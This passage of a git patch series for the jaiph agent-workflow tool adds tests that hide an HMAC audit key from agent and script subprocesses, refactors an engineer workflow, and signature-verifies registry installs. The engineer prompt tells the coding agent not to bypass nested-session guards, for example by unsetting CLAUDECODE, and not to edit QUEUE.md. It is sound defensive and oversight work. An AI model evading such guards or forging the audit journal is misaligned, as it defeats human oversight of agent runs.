"JAIPH_TEST_MODE", "JAIPH_RUNS_DIR", "JAIPH_SCRIPTS", "JAIPH_WORKSPACE", + "JAIPH_RUN_DIR", "JAIPH_RUN_SUMMARY_FILE", "JAIPH_ARTIFACTS_DIR", "JAIPH_RUN_ID", "JAIPH_SOURCE_FILE", +]; + +async function runWorkflow( + prefix: string, + symbol: string, + key: string, +): Promise<{ root: string; runDir: string }> { + const root = mkdtempSync(join(tmpdir(), prefix)); + const jh = join(root, "tools.jh"); + writeFileSync(jh, WF); + const moduleGraph = loadModuleGraph(jh); + const { scriptsDir } = buildScriptsFromGraph(moduleGraph, root); + const graph = buildRuntimeGraph(moduleGraph); + + process.env[CHAIN_KEY_ENV] = key; + process.env.JAIPH_TEST_MODE = "1"; + process.env.JAIPH_RUNS_DIR = join(root, ".jaiph", "runs"); + process.env.JAIPH_SCRIPTS = scriptsDir; + process.env.JAIPH_WORKSPACE = root; + + const runtime = new NodeWorkflowRuntime(graph, { env: process.env, cwd: root, suppressLiveEvents: true }); + const status = await runtime.runRoot(symbol, []); + assert.equal(status, 0, "workflow ran to completion"); + return { root, runDir: process.env.JAIPH_RUN_DIR! }; +} + +// AC2: the key is absent from a script subprocess env; AC1 (part 1): so is the +// journal path — the script is not even handed the file to overwrite. +test("audit chain: the chain key and journal path never reach a script subprocess", async () => { + const saved = TOUCHED.map((k) => [k, process.env[k]] as const); + const key = generateChainKey(); + try { + const { root } = await runWorkflow("jaiph-audit-env-", "dump_env", key); + const dump = readFileSync(join(root, "env_dump.txt"), "utf8"); + assert.ok(!dump.includes("JAIPH_CHAIN_KEY"), "the chain-key env var must not reach a script"); + assert.ok(!dump.includes(key), "the chain-key value must not appear in the script env"); + assert.ok(!dump.includes("JAIPH_RUN_SUMMARY_FILE"), "the journal path must not reach a script"); + // Sanity: the dump captured a real env, and JAIPH_RUN_DIR is still exported + // (scripts legitimately use it — the file is protected by the key, not by + // hiding the directory). + assert.match(dump, /^JAIPH_RUN_DIR=/m); + // The trusted kernel process, by contrast, does hold the key. + assert.equal(process.env[CHAIN_KEY_ENV], key); + rmSync(root, { recursive: true, force: true }); + } finally { + for (const [k, v] of saved) { + if (v === undefined) delete process.env[k]; + else process.env[k] = v; + } + } +}); + +// AC1 (part 2): a script step that deletes/truncates the journal cannot do so +// undetected — once the host persists the key, verification hard-fails. +test("audit chain: a script truncating the journal is detected at the read boundary", async () => { + const saved = TOUCHED.map((k) => [k, process.env[k]] as const); + const key = generateChainKey(); + try { + const { root, runDir } = await runWorkflow("jaiph-audit-tamper-", "tamper", key); + // The host persists the key beside the journal at finalize (as run.ts / + // call.ts do). The workflow never had it, so it could not re-forge the chain. + writeChainKey(runDir, key); + const res = verifyRunJournal(runDir); + assert.equal(res.verified, true, "a key was persisted, so the boundary verifies"); + assert.equal(res.ok, false, "the script's truncation of the journal is detected"); + rmSync(root, { recursive: true, force: true }); + } finally { + for (const [k, v] of saved) { + if (v === undefined) delete process.env[k]; + else process.env[k] = v; + } + } +}); + +// AC2 (agent boundary): the key is dropped from a prompt-agent subprocess env +// even though the JAIPH_ prefix would otherwise forward it into the container. +test("audit chain: scrubPromptEnv drops the chain key but keeps other JAIPH_ control vars", () => { + const scrubbed = scrubPromptEnv( + { [CHAIN_KEY_ENV]: "deadbeef", JAIPH_RUN_ID: "run-1", PATH: "/usr/bin" }, + "claude", + ); + assert.equal(scrubbed[CHAIN_KEY_ENV], undefined, "the chain key must not cross to an agent"); + assert.equal(scrubbed.JAIPH_RUN_ID, "run-1", "ordinary JAIPH_ control vars still cross"); + assert.equal(scrubbed.PATH, "/usr/bin"); +}); diff --git a/src/runtime/kernel/node-workflow-runtime.ts b/src/runtime/kernel/node-workflow-runtime.ts index a087ef20..ab83db41 100644 --- a/src/runtime/kernel/node-workflow-runtime.ts +++ b/src/runtime/kernel/node-workflow-runtime.ts @@ -17,7 +17,7 @@ import { resolvePromptStepName, shellQuote, } from "./prompt"; -import { appendRunSummaryLine } from "./emit"; +import { appendRunSummaryLine, CHAIN_KEY_ENV } from "./emit"; import { buildStepDisplayParamPairs } from "../../cli/commands/format-params.js"; import { resolveRuleRef, resolveScriptRef, resolveWorkflowRef, type RuntimeGraph } from "./graph"; import type { WorkflowMetadata } from "../../types"; @@ -1739,6 +1739,14 @@ export class NodeWorkflowRuntime { for (const key of this.declaredTrustedEnvKeys) { delete env[key]; } + // The audit-chain key and the journal path must never reach a script (or, + // via this scoped env, a prompt-agent) subprocess: without the key the + // audited workflow cannot forge a run_summary.jsonl chain that verifies, + // and without the path it is not even handed the file to overwrite + // (finding H-3). `this.env` keeps both — the trusted kernel writes the + // journal and `appendRunSummaryLine` reads the path from `process.env`. + delete env[CHAIN_KEY_ENV]; + delete env.JAIPH_RUN_SUMMARY_FILE; return env; } diff --git a/src/runtime/kernel/runtime-event-emitter.ts b/src/runtime/kernel/runtime-event-emitter.ts index 4fafbf6c..2e6aa88a 100644 --- a/src/runtime/kernel/runtime-event-emitter.ts +++ b/src/runtime/kernel/runtime-event-emitter.ts @@ -7,7 +7,7 @@ */ import { writeFileSync } from "node:fs"; import { join } from "node:path"; -import { appendRunSummaryLine, CHAIN_GENESIS, sha256hex } from "./emit"; +import { appendRunSummaryLine, chainHmac, CHAIN_GENESIS, CHAIN_KEY_ENV } from "./emit"; import { redactCredentials } from "./redact"; import { MAX_EMBED, nowIso, sanitizeName, stripOuterQuotes } from "./runtime-arg-parser"; @@ -50,9 +50,16 @@ export class RuntimeEventEmitter { private readonly getFrameStack: () => Frame[]; private readonly getAsyncIndices: () => number[]; private readonly suppressLiveEvents: boolean; + /** + * Per-run HMAC key for the journal chain, taken from the kernel process env. + * Never forwarded to a script/agent subprocess. Empty only for in-process + * runs with no host-provided key (e.g. `jaiph test`), where the chain is + * still self-consistent but no boundary verifies it. + */ + private readonly chainKey: string; private stepSeq = 0; private promptSeq = 0; - private prevHash = CHAIN_GENESIS; + private prevHash: string; constructor(deps: RuntimeEventEmitterDeps) { this.runId = deps.runId; @@ -61,11 +68,14 @@ export class RuntimeEventEmitter { this.getFrameStack = deps.getFrameStack; this.getAsyncIndices = deps.getAsyncIndices; this.suppressLiveEvents = deps.suppressLiveEvents ?? false; + this.chainKey = deps.env[CHAIN_KEY_ENV] ?? ""; + // Keyed genesis: even a single forged line requires the key to reproduce. + this.prevHash = chainHmac(this.chainKey, CHAIN_GENESIS); } private serializeAndAppend(obj: Record): void { const line = JSON.stringify({ ...obj, prev_hash: this.prevHash }); - this.prevHash = sha256hex(line); + this.prevHash = chainHmac(this.chainKey, line); appendRunSummaryLine(line); } From e870111e3080985c2b7dd1ab71a72ea657fcd3c9 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 11:06:53 +0200 Subject: [PATCH 14/86] Refactor: split engineer into queue and task-parameter entries Hub calls implement_from_task; CLI default routes through implement_from_queue. Drop the role CLI arg and auto-classify instead. Co-authored-by: Cursor --- .github/workflows/nightly-engineer.yml | 24 ++------- .jaiph/engineer.jh | 75 +++++++++++++++++++------- .jaiph/main.jh | 9 ++-- 3 files changed, 65 insertions(+), 43 deletions(-) diff --git a/.github/workflows/nightly-engineer.yml b/.github/workflows/nightly-engineer.yml index 44387215..96e1f990 100644 --- a/.github/workflows/nightly-engineer.yml +++ b/.github/workflows/nightly-engineer.yml @@ -2,18 +2,6 @@ name: Nightly Engineer Run on: workflow_dispatch: - inputs: - engineer_type: - description: "Engineer role (auto uses task classification)" - required: false - default: "auto" - type: choice - options: - - auto - - surgical - - reductionist - - optimizer - - stabilizer permissions: contents: write @@ -83,13 +71,9 @@ jobs: shell: bash run: | set -euo pipefail - - engineer_type="${{ inputs.engineer_type }}" - if [ "${engineer_type}" = "auto" ]; then - ./.jaiph/engineer.jh - else - ./.jaiph/engineer.jh -- "${engineer_type}" - fi + # Queue-driven entry: picks first #dev-ready QUEUE.md task and + # auto-classifies the engineer role (no role CLI arg). + ./.jaiph/engineer.jh - name: Create worktree patch artifact if: always() @@ -190,6 +174,6 @@ jobs: Automated engineer run from workflow dispatch. - Base branch: `nightly` - - Engineer type: `${{ inputs.engineer_type }}` + - Entry: queue-driven `.jaiph/engineer.jh` (auto-classified role) EOF )" --head "${branch_name}" --base nightly diff --git a/.jaiph/engineer.jh b/.jaiph/engineer.jh index fabc3c07..abdaad42 100755 --- a/.jaiph/engineer.jh +++ b/.jaiph/engineer.jh @@ -1,8 +1,14 @@ #!/usr/bin/env jaiph # -# Picks the first pending task from QUEUE.md, implements it, verifies CI, -# updates docs, removes from queue, and publishes a workspace patch artifact. +# Implement a task: code, CI, docs, commit patch. +# +# CLI / overnight (queue-driven): +# jaiph run .jaiph/engineer.jh +# → default → implement_from_queue (first #dev-ready QUEUE.md task). +# +# Hub / serve / mcp (task parameter, no QUEUE.md): +# export workflow implement_from_task(task) — used by .jaiph/main.jh engineer(task) # import "jaiphlang/artifacts" as artifacts import "jaiphlang/claude" as claude @@ -33,15 +39,17 @@ const safety_constraints = """ Nested sessions share runtime resources and can crash active sessions. - Do not attempt to bypass nested-session guards (for example by unsetting environment variables such as CLAUDECODE). + - Do not modify QUEUE.md. Queue updates (if any) are handled by the + orchestration workflow, not by you. - Any violation of these constraints is an immediate task failure; stop and report. """ const definition_of_done = """ - Definition of done (QUEUE.md rule 7, verbatim): - "Acceptance criteria are non-negotiable. A task is not done until every + Definition of done: + Acceptance criteria are non-negotiable. A task is not done until every acceptance bullet is verified by a test that fails when the contract is - violated. 'It works on my machine' or 'the existing tests pass' is not - acceptance." + violated. "It works on my machine" or "the existing tests pass" is not + acceptance. """ const code_philosophy = """ @@ -207,7 +215,6 @@ workflow classify_role(task) { config { agent.model = "sonnet" } - const result = prompt """ ${classification_prompt} @@ -236,7 +243,6 @@ workflow implement(task, role_name) { config { agent.model = "opus" } - run task_text_has_header(task) catch (err) { fail "Provided task does not contain a '## [text]' header" } @@ -300,27 +306,58 @@ workflow implement(task, role_name) { """ } -workflow default(name) { - # ensure git.is_clean +# Shared post-implement path: CI, docs parity from the task text, commit, artifact. +# Callers that touch QUEUE.md must do so before this (so the commit includes it). +workflow verify_docs_and_commit(task) { + run ci.ensure_ci_passes() + run docs.update_from_task(task) + const patch_file = run git.commit(task) + run artifacts.save(patch_file) + return patch_file +} + +# Task-parameter entry for serve/mcp hub. Does not read or write QUEUE.md. +export workflow implement_from_task(task) { + run common.arg_nonempty(task) catch (err) { + fail "engineer.implement_from_task requires a non-empty task parameter (markdown with a ## header)" + } + run claude.ensure_usage() - const task = run queue.get_first_task() + const task_header = run first_line_task(task) + log "Implementing task: ${task_header}" + + const role_name = run classify_role(task) + log "Role: ${role_name}" + + run implement(task, role_name) + + const patch_file = run verify_docs_and_commit(task) + log "Patch file: ${patch_file}" + return patch_file +} + +# Queue-driven entry for CLI / overnight loops. Always auto-classifies the role. +export workflow implement_from_queue() { + run claude.ensure_usage() + + const task = run queue.get_first_task() ensure queue.task_is_dev_ready(task) + const task_header = run first_line_task(task) log "Implementing task: ${task_header}" - const role_name = match name { - "" => run classify_role(task) - _ => name - } + const role_name = run classify_role(task) log "Role: ${role_name}" run implement(task, role_name) - run ci.ensure_ci_passes() - run docs.update_from_task(task) run queue.remove_completed_task(task_header) - const patch_file = run git.commit(task) - run artifacts.save(patch_file) + const patch_file = run verify_docs_and_commit(task) + log "Patch file: ${patch_file}" return patch_file } + +workflow default() { + return run implement_from_queue() +} diff --git a/.jaiph/main.jh b/.jaiph/main.jh index 7b9850c0..72d0dcca 100755 --- a/.jaiph/main.jh +++ b/.jaiph/main.jh @@ -41,10 +41,11 @@ export workflow docs_parity() { run docs_mod.default() } -# Implement the first #dev-ready QUEUE.md task end-to-end: code, CI, docs, commit patch. -# Optional role name (e.g. "engineer"); "" lets the workflow classify the role. -export workflow engineer(role) { - return run eng_mod.default(role) +# Implement a task end-to-end: code, CI, docs, commit patch. Pass the full task +# markdown (must start with a ## header). Does not read or write QUEUE.md — +# queue-driven overnight runs use `.jaiph/engineer.jh` directly instead. +export workflow engineer(task) { + return run eng_mod.implement_from_task(task) } # Run npm run test:ci and loop with an agent until it passes (or recover_limit). From 652c29f01fd1d2fbe2c52b05731bb050fd141555 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 11:06:53 +0200 Subject: [PATCH 15/86] Feat: pin and signature-verify jaiph install registry entries Fail closed on unsigned or tampered remote registry indexes, disallow http library URLs, and enforce optional pinned commit + minisign checks. Co-authored-by: Cursor --- src/cli/commands/install.test.ts | 109 ++++++++++++++++++++++ src/cli/commands/install.ts | 29 +++++- src/cli/commands/minisign-fixture.ts | 43 +++++++++ src/cli/commands/registry.test.ts | 92 ++++++++++++++++++- src/cli/commands/registry.ts | 130 ++++++++++++++++++++++++--- 5 files changed, 390 insertions(+), 13 deletions(-) create mode 100644 src/cli/commands/minisign-fixture.ts diff --git a/src/cli/commands/install.test.ts b/src/cli/commands/install.test.ts index cdcb042e..290610e4 100644 --- a/src/cli/commands/install.test.ts +++ b/src/cli/commands/install.test.ts @@ -5,6 +5,7 @@ import { join } from "node:path"; import { execSync } from "node:child_process"; import { tmpdir } from "node:os"; import { parseUrlAndVersion, runInstall, type CloneRunner, type CloneOutcome, type InstallSpec } from "./install"; +import { makeMinisignFixture } from "./minisign-fixture"; /** * Run a body with JAIPH_REGISTRY set to `value`. Restore the prior value @@ -599,6 +600,114 @@ test("install: legacy lockfile without commit field still restores", async () => } }); +/** Write a registry index file with arbitrary entry fields (for pinned-commit / signature cases). */ +function writeRawRegistryFile(dir: string, libs: Record>): string { + const path = join(dir, "registry.json"); + writeFileSync(path, JSON.stringify({ libs }), "utf8"); + return path; +} + +test("install: registry-pinned commit mismatch fails the install and locks nothing", async () => { + const dir = makeTempProject(); + try { + const remote = makeFixtureRepo(dir, "remote-pin"); + const wrongSha = "0".repeat(40); + const registryPath = writeRawRegistryFile(dir, { + pinned: { url: remote, description: "demo", commit: wrongSha }, + }); + + const { result: code, stderr } = await captureStderr(() => + withRegistry(registryPath, () => runInstall(["pinned"], { cwd: dir })), + ); + + assert.notEqual(code, 0, "pinned-commit mismatch must exit non-zero"); + assert.ok(stderr.includes(wrongSha), `expected locked SHA in stderr; got: ${stderr}`); + assert.ok(stderr.includes("commit mismatch"), `expected commit-mismatch message; got: ${stderr}`); + assert.ok(!existsSync(join(dir, ".jaiph", "libs", "pinned")), "lib dir must be removed on mismatch"); + const lock = JSON.parse(readFileSync(join(dir, ".jaiph", "libs.lock"), "utf8")) as { libs: unknown[] }; + assert.equal(lock.libs.length, 0, "mismatch must not produce a lock entry"); + } finally { + cleanup(dir); + } +}); + +test("install: registry-pinned commit that matches the cloned HEAD succeeds", async () => { + const dir = makeTempProject(); + try { + const remote = makeFixtureRepo(dir, "remote-pin-ok"); + const registryPath = writeRawRegistryFile(dir, { + pinned: { url: remote, description: "demo", commit: gitHead(remote) }, + }); + + const code = await withRegistry(registryPath, () => runInstall(["pinned"], { cwd: dir })); + assert.equal(code, 0, "matching pinned commit must install"); + } finally { + cleanup(dir); + } +}); + +test("install: http:// URL argument is rejected before any clone", async () => { + const dir = makeTempProject(); + try { + let called = false; + const cloneRunner: CloneRunner = async (spec) => { + called = true; + return { spec, ok: true }; + }; + const { result: code, stderr } = await captureStderr(() => + runInstall(["http://example.com/x.git"], { cwd: dir, cloneRunner }), + ); + assert.notEqual(code, 0, "http:// source must exit non-zero"); + assert.ok(stderr.includes('disallowed scheme "http://"'), `expected scheme rejection; got: ${stderr}`); + assert.equal(called, false, "clone must not run for a disallowed scheme"); + } finally { + cleanup(dir); + } +}); + +test("install: invalid detached library signature fails the install closed", async () => { + const dir = makeTempProject(); + try { + const remote = makeFixtureRepo(dir, "remote-sig"); + const fx = makeMinisignFixture(); + // Sign the WRONG message so verification of the cloned commit SHA fails closed. + const badSignature = fx.sign(Buffer.from("not the commit sha")); + const registryPath = writeRawRegistryFile(dir, { + signed: { url: remote, description: "demo", commit: gitHead(remote), signature: badSignature, publicKey: fx.publicKey }, + }); + + const { result: code, stderr } = await captureStderr(() => + withRegistry(registryPath, () => runInstall(["signed"], { cwd: dir })), + ); + + assert.notEqual(code, 0, "invalid signature must exit non-zero"); + assert.ok(stderr.includes("signature verification failed"), `expected signature failure; got: ${stderr}`); + assert.ok(!existsSync(join(dir, ".jaiph", "libs", "signed")), "lib dir must be removed on signature failure"); + const lock = JSON.parse(readFileSync(join(dir, ".jaiph", "libs.lock"), "utf8")) as { libs: unknown[] }; + assert.equal(lock.libs.length, 0, "signature failure must not produce a lock entry"); + } finally { + cleanup(dir); + } +}); + +test("install: valid detached library signature over the cloned commit installs", async () => { + const dir = makeTempProject(); + try { + const remote = makeFixtureRepo(dir, "remote-sig-ok"); + const fx = makeMinisignFixture(); + const goodSignature = fx.sign(Buffer.from(gitHead(remote), "utf8")); + const registryPath = writeRawRegistryFile(dir, { + signed: { url: remote, description: "demo", commit: gitHead(remote), signature: goodSignature, publicKey: fx.publicKey }, + }); + + const code = await withRegistry(registryPath, () => runInstall(["signed"], { cwd: dir })); + assert.equal(code, 0, "valid signature must install"); + assert.ok(existsSync(join(dir, ".jaiph", "libs", "signed", "main.jh")), "signed lib must land on disk"); + } finally { + cleanup(dir); + } +}); + test("install: mixed success and failure locks only the successful libs", async () => { const dir = makeTempProject(); try { diff --git a/src/cli/commands/install.ts b/src/cli/commands/install.ts index 2e9af045..8926354a 100644 --- a/src/cli/commands/install.ts +++ b/src/cli/commands/install.ts @@ -5,11 +5,14 @@ import { colorPalette } from "../shared/errors"; import { detectWorkspaceRoot } from "../shared/paths"; import { hasHelpFlag } from "../shared/usage"; import { + assertAllowedRemoteScheme, DEFAULT_REGISTRY_URL, + EMBEDDED_REGISTRY_PUBKEY, isRegistryNameArg, loadRegistryIndex, parseNameArg, registrySource, + verifyMinisign, type RegistryIndex, } from "./registry"; @@ -49,6 +52,10 @@ export interface InstallSpec { version?: string; libDir: string; expectedCommit?: string; + /** Optional detached minisign signature over the cloned commit SHA; verified post-clone, fails closed. */ + signature?: string; + /** Minisign public key the `signature` verifies against; defaults to the embedded project key. */ + signaturePublicKey?: string; } export interface CloneOutcome { @@ -189,6 +196,16 @@ function postCloneHygiene(spec: InstallSpec): PostCloneResult { `explicitly to accept the new commit`, }; } + if (spec.signature) { + const pubkey = spec.signaturePublicKey ?? EMBEDDED_REGISTRY_PUBKEY; + if (!commit || !verifyMinisign(Buffer.from(commit, "utf8"), spec.signature, pubkey)) { + rmSync(spec.libDir, { recursive: true, force: true }); + return { + ok: false, + message: `lib "${spec.name}" signature verification failed for commit ${commit ?? ""}`, + }; + } + } return { ok: true, commit }; } @@ -256,10 +273,20 @@ async function resolveInstallSpecs(args: string[], libsDir: string): Promise { const index = await loadRegistryIndex(SHIPPED_REGISTRY); @@ -17,3 +24,86 @@ test("shipped docs/registry has no Jekyll front matter and parses as JSON", () = assert.ok(!text.trimStart().startsWith("---"), "docs/registry must not carry Jekyll front matter"); assert.doesNotThrow(() => JSON.parse(text), "docs/registry must be valid JSON"); }); + +test("EMBEDDED_REGISTRY_PUBKEY is a byte-for-byte mirror of repo-root jaiph.pub", () => { + const onDisk = readFileSync(resolve(REPO_ROOT, "jaiph.pub"), "utf8"); + assert.equal(EMBEDDED_REGISTRY_PUBKEY.trim(), onDisk.trim(), "embedded trust anchor must match jaiph.pub"); +}); + +test("verifyMinisign accepts a valid signature and rejects tampering", () => { + const fx = makeMinisignFixture(); + const message = Buffer.from('{"libs":{}}'); + const sig = fx.sign(message); + assert.equal(verifyMinisign(message, sig, fx.publicKey), true, "valid signature must verify"); + assert.equal(verifyMinisign(Buffer.from("tampered"), sig, fx.publicKey), false, "tampered message must fail"); + const other = makeMinisignFixture(); + assert.equal(verifyMinisign(message, sig, other.publicKey), false, "wrong key must fail"); + assert.equal(verifyMinisign(message, "not a minisign blob", fx.publicKey), false, "garbage signature must fail closed"); +}); + +test("assertAllowedRemoteScheme permits https/ssh/file/local and rejects http/git", () => { + assert.doesNotThrow(() => assertAllowedRemoteScheme("https://jaiph.org/registry", "registry source")); + assert.doesNotThrow(() => assertAllowedRemoteScheme("ssh://git@host/repo.git", "lib url")); + assert.doesNotThrow(() => assertAllowedRemoteScheme("file:///tmp/registry", "registry source")); + assert.doesNotThrow(() => assertAllowedRemoteScheme("git@github.com:org/repo.git", "lib url")); + assert.doesNotThrow(() => assertAllowedRemoteScheme("/abs/local/path", "registry source")); + assert.throws(() => assertAllowedRemoteScheme("http://jaiph.org/registry", "registry source"), /disallowed scheme "http:\/\/"/); + assert.throws(() => assertAllowedRemoteScheme("git://github.com/org/repo.git", "lib url"), /disallowed scheme "git:\/\/"/); +}); + +/** Point global fetch at an in-memory map of url -> body/status for one call. Restores on return. */ +async function withFetch(routes: Record, body: () => Promise): Promise { + const orig = globalThis.fetch; + globalThis.fetch = (async (input: string | URL) => { + const url = typeof input === "string" ? input : input.toString(); + const route = routes[url]; + if (!route) return { ok: false, status: 404, text: async () => "" } as Response; + const status = route.status ?? 200; + return { ok: status >= 200 && status < 300, status, text: async () => route.body ?? "" } as Response; + }) as typeof fetch; + try { + return await body(); + } finally { + globalThis.fetch = orig; + } +} + +const REMOTE = "https://registry.example/registry"; + +test("loadRegistryIndex verifies a signed remote index (fail-closed happy path)", async () => { + const fx = makeMinisignFixture(); + const indexText = JSON.stringify({ libs: { mylib: { url: "https://example.com/mylib.git", description: "ok" } } }); + const index = await withFetch( + { [REMOTE]: { body: indexText }, [`${REMOTE}.minisig`]: { body: fx.sign(Buffer.from(indexText, "utf8")) } }, + () => loadRegistryIndex(REMOTE, { publicKey: fx.publicKey }), + ); + assert.ok(index.libs.mylib, "signed remote index must load"); +}); + +test("loadRegistryIndex rejects a tampered remote index (signature no longer matches)", async () => { + const fx = makeMinisignFixture(); + const signedText = JSON.stringify({ libs: { mylib: { url: "https://example.com/mylib.git", description: "ok" } } }); + const tamperedText = JSON.stringify({ libs: { evil: { url: "https://evil.example/x.git", description: "pwn" } } }); + await assert.rejects( + withFetch( + { [REMOTE]: { body: tamperedText }, [`${REMOTE}.minisig`]: { body: fx.sign(Buffer.from(signedText, "utf8")) } }, + () => loadRegistryIndex(REMOTE, { publicKey: fx.publicKey }), + ), + /signature check failed/, + ); +}); + +test("loadRegistryIndex rejects an unsigned remote index (missing .minisig fails closed)", async () => { + const indexText = JSON.stringify({ libs: {} }); + await assert.rejects( + withFetch({ [REMOTE]: { body: indexText } }, () => loadRegistryIndex(REMOTE)), + /failed to fetch registry signature/, + ); +}); + +test("loadRegistryIndex rejects a plain http:// remote source before fetching", async () => { + await assert.rejects( + loadRegistryIndex("http://registry.example/registry"), + /disallowed scheme "http:\/\/"/, + ); +}); diff --git a/src/cli/commands/registry.ts b/src/cli/commands/registry.ts index 4dd22815..423762e4 100644 --- a/src/cli/commands/registry.ts +++ b/src/cli/commands/registry.ts @@ -1,5 +1,6 @@ import { readFileSync } from "node:fs"; import { fileURLToPath } from "node:url"; +import { createHash, createPublicKey, verify as ed25519Verify } from "node:crypto"; export const DEFAULT_REGISTRY_URL = "https://jaiph.org/registry"; @@ -7,9 +8,30 @@ export const REGISTRY_NAME_REGEX = /^[A-Za-z0-9_-]+$/; const NAME_ARG_REGEX = /^[A-Za-z0-9_-]+(@[A-Za-z0-9._+/-]+)?$/; +const COMMIT_SHA_REGEX = /^[0-9a-f]{40}$/; + +/** + * Canonical project minisign public key — a byte-for-byte mirror of the + * repo-root `jaiph.pub` (key id EF1752814A955E92). Embedded as a constant so + * the compiled standalone binary carries its own trust anchor with no + * filesystem lookup. A parity test asserts this stays in sync with `jaiph.pub`. + */ +export const EMBEDDED_REGISTRY_PUBKEY = + "untrusted comment: minisign public key EF1752814A955E92\n" + + "RWSSXpVKgVIX79jsA5r833g6yWwkO+Ka5HAtSjrN1V7t4+qP4zSOIlWy\n"; + +/** Remote sources must use one of these schemes; `file://` and scheme-less paths are treated as local. */ +const ALLOWED_REMOTE_SCHEMES = new Set(["https", "ssh"]); + export interface RegistryEntry { url: string; description: string; + /** Pinned 40-char commit the cloned HEAD must match (integrity pin, not just a post-hoc lock). */ + commit?: string; + /** Optional detached minisign signature (over the ASCII commit SHA) attesting the release. */ + signature?: string; + /** Optional per-library minisign public key the `signature` verifies against (else the embedded key). */ + publicKey?: string; } export interface RegistryIndex { @@ -37,14 +59,67 @@ export function registrySource(env: NodeJS.ProcessEnv = process.env): string { return DEFAULT_REGISTRY_URL; } +/** + * Reject remote sources that do not use an allowed scheme. A scheme-less value + * (bare path or scp-style `git@host:path`) and `file://` are treated as local + * and pass; `https://`/`ssh://` pass; `http://`, `git://`, `ftp://`, etc. throw. + * `kind` labels the offending value in the error (e.g. `registry source`). + */ +export function assertAllowedRemoteScheme(url: string, kind: string): void { + const m = url.match(/^([A-Za-z][A-Za-z0-9+.-]*):\/\//); + if (!m) return; + const scheme = m[1]!.toLowerCase(); + if (scheme === "file" || ALLOWED_REMOTE_SCHEMES.has(scheme)) return; + throw new Error( + `${kind} "${url}" uses disallowed scheme "${scheme}://" — only https:// and ssh:// are permitted for remote sources`, + ); +} + +/** Build an Ed25519 public KeyObject from a raw 32-byte key by prefixing the fixed SPKI header. */ +function ed25519PublicKeyFromRaw(raw32: Buffer) { + const spki = Buffer.concat([Buffer.from("302a300506032b6570032100", "hex"), raw32]); + return createPublicKey({ key: spki, format: "der", type: "spki" }); +} + +/** Decode the last base64 line of a minisign blob to its `{ algo, keyId, payload }` triple. */ +function decodeMinisignBlob(text: string): { algo: string; keyId: Buffer; payload: Buffer } { + const lines = text.split(/\r?\n/).filter((l) => l.length > 0 && !l.startsWith("untrusted comment:") && !l.startsWith("trusted comment:")); + const b64 = lines[0]; + if (!b64) throw new Error("no base64 payload"); + const bytes = Buffer.from(b64, "base64"); + return { algo: bytes.subarray(0, 2).toString("latin1"), keyId: bytes.subarray(2, 10), payload: bytes.subarray(10) }; +} + +/** + * Verify a detached minisign `signatureText` over `message` against `pubkeyText`. + * Supports both the legacy raw (`Ed`) and prehashed blake2b (`ED`) algorithms and + * requires the signature key id to match the public key. Returns `false` — never + * throws — on any parse/shape/key-id/crypto mismatch so callers fail closed. + */ +export function verifyMinisign(message: Buffer, signatureText: string, pubkeyText: string): boolean { + try { + const pub = decodeMinisignBlob(pubkeyText); + const sig = decodeMinisignBlob(signatureText); + if (pub.payload.length !== 32 || sig.payload.length !== 64) return false; + if (!pub.keyId.equals(sig.keyId)) return false; + const signed = sig.algo === "ED" ? createHash("blake2b512").update(message).digest() : message; + return ed25519Verify(null, signed, ed25519PublicKeyFromRaw(pub.payload), sig.payload); + } catch { + return false; + } +} + /** * Load and validate the registry index from `source`. `file://` URLs and any - * value without a `://` scheme are read from disk; everything else is fetched - * via global `fetch`. Throws `Error` with the source in the message on any - * read/parse/shape failure. + * value without a `://` scheme are read from disk (trusted-local). Remote + * sources must use an allowed scheme, are fetched via global `fetch`, and are + * signature-verified against a detached `.minisig` before use — a + * missing, unsigned, or tampered index is rejected (fail closed). `opts.publicKey` + * overrides the embedded trust anchor (tests). Throws `Error` naming the source + * on any read/fetch/verify/parse/shape failure. */ -export async function loadRegistryIndex(source: string): Promise { - const text = await readRegistrySource(source); +export async function loadRegistryIndex(source: string, opts: { publicKey?: string } = {}): Promise { + const text = await readRegistrySource(source, opts.publicKey ?? EMBEDDED_REGISTRY_PUBKEY); let parsed: unknown; try { parsed = JSON.parse(text); @@ -54,7 +129,7 @@ export async function loadRegistryIndex(source: string): Promise return validateRegistryIndex(parsed, source); } -async function readRegistrySource(source: string): Promise { +async function readRegistrySource(source: string, publicKey: string): Promise { if (source.startsWith("file://")) { const path = fileURLToPath(source); return readDisk(path, source); @@ -62,19 +137,29 @@ async function readRegistrySource(source: string): Promise { if (!source.includes("://")) { return readDisk(source, source); } + assertAllowedRemoteScheme(source, "registry source"); + const text = await fetchText(source, `failed to fetch registry ${source}`); + const sigText = await fetchText(`${source}.minisig`, `failed to fetch registry signature ${source}.minisig`); + if (!verifyMinisign(Buffer.from(text, "utf8"), sigText, publicKey)) { + throw new Error(`failed to verify registry ${source}: signature check failed against ${source}.minisig`); + } + return text; +} + +async function fetchText(url: string, failPrefix: string): Promise { let res: Response; try { - res = await fetch(source); + res = await fetch(url); } catch (err) { - throw new Error(`failed to fetch registry ${source}: ${(err as Error).message}`); + throw new Error(`${failPrefix}: ${(err as Error).message}`); } if (!res.ok) { - throw new Error(`failed to fetch registry ${source}: HTTP ${res.status}`); + throw new Error(`${failPrefix}: HTTP ${res.status}`); } try { return await res.text(); } catch (err) { - throw new Error(`failed to fetch registry ${source}: ${(err as Error).message}`); + throw new Error(`${failPrefix}: ${(err as Error).message}`); } } @@ -104,13 +189,36 @@ function validateRegistryIndex(parsed: unknown, source: string): RegistryIndex { } const url = (raw as { url?: unknown }).url; const description = (raw as { description?: unknown }).description; + const commit = (raw as { commit?: unknown }).commit; + const signature = (raw as { signature?: unknown }).signature; + const publicKey = (raw as { publicKey?: unknown }).publicKey; if (typeof url !== "string" || url.length === 0) { throw new Error(`failed to parse registry ${source}: entry "${name}" missing string "url"`); } + try { + assertAllowedRemoteScheme(url, `entry "${name}" url`); + } catch (err) { + throw new Error(`failed to parse registry ${source}: ${(err as Error).message}`); + } if (typeof description !== "string") { throw new Error(`failed to parse registry ${source}: entry "${name}" missing string "description"`); } - out[name] = { url, description }; + if (commit !== undefined && (typeof commit !== "string" || !COMMIT_SHA_REGEX.test(commit))) { + throw new Error(`failed to parse registry ${source}: entry "${name}" "commit" must be a 40-char hex SHA`); + } + if (signature !== undefined && typeof signature !== "string") { + throw new Error(`failed to parse registry ${source}: entry "${name}" "signature" must be a string`); + } + if (publicKey !== undefined && typeof publicKey !== 